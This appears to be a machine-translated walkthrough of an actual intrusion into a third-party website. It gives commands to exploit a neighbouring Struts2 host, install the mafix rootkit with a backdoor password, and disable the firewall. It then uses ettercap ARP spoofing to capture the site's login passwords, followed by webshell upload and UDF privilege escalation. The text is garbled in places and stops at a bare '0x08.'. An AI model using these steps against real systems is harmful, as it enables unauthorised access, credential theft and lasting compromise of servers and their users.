Linux server with sniffing Password

Linux server with sniffing Password

Objective: www.xxx.com

 

0x01 main site step

Currently, the main site dedecms does not have one available 0-day release, and the background is not the default one. google hack is fruitless.

 

0x02 peer Analysis

 

There are more than 20 peer stations, most of which are the secondary development of the on-site cms. There is no vulnerability, and there is also a bbs dz, there is no vulnerability.

 

0x03 C-segment Linux host breakthrough

 

You can find an ssss.com/login.action on the C-segment browser website. Get familiar with struct2 code execution without explanation.

0x04 Linux host Rookit

Here the Rookit I use is mafix

 

Run the following command:

Tar zxvf mafix.tar.gz

Chmod + x root

./Root password 23141

 

Putty Login

Note: If the firewall is on, you can disable it if you do not want to add rules to the firewall.

 

Stop Firewall

/Etc/init. d/iptables stop

Version

0x05 install the ettercap sniffing password on a Linux host

 

1. download and install the epel rpm package.

Rpm-ivh http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm

2. yum-y install ettercap

Start sniffing

Enable Forwarding (not required)

Echo 1>/proc/sys/net/ipv4/ip_forward

 

Sniffing

 

Ettercap-T-M arp/Target ip/80/gateway/-w/tmp/log.txt

 

Sniffing may take a long time to run in the background

Nohup ettercap-T-M arp/Target ip/80/gateway/-w/tmp/log.txt

 

0x06 Data Filtering

 

Because the data on this website is very big, there is more than 1 GB of data in an hour. Well, grep filters out

 

Capture packets and analyze the field pwd of the password submitted by the target station foreground

 

Cat/tmp/log.txt | grep-a "& pwd =" | more

 

Okay, I will watch it every few hours. After half a day, I have sniffed the background password and the background address.

 

Bytes

0x07 upload a sentence root Privilege Escalation

Upload a sentence, flip the file, find the Root, and use my udf api to add a user to escalate permissions.

 

0x08.